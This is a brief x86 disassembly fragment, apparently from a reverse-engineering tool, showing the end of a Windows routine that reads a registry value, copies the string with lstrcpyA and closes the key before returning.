call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc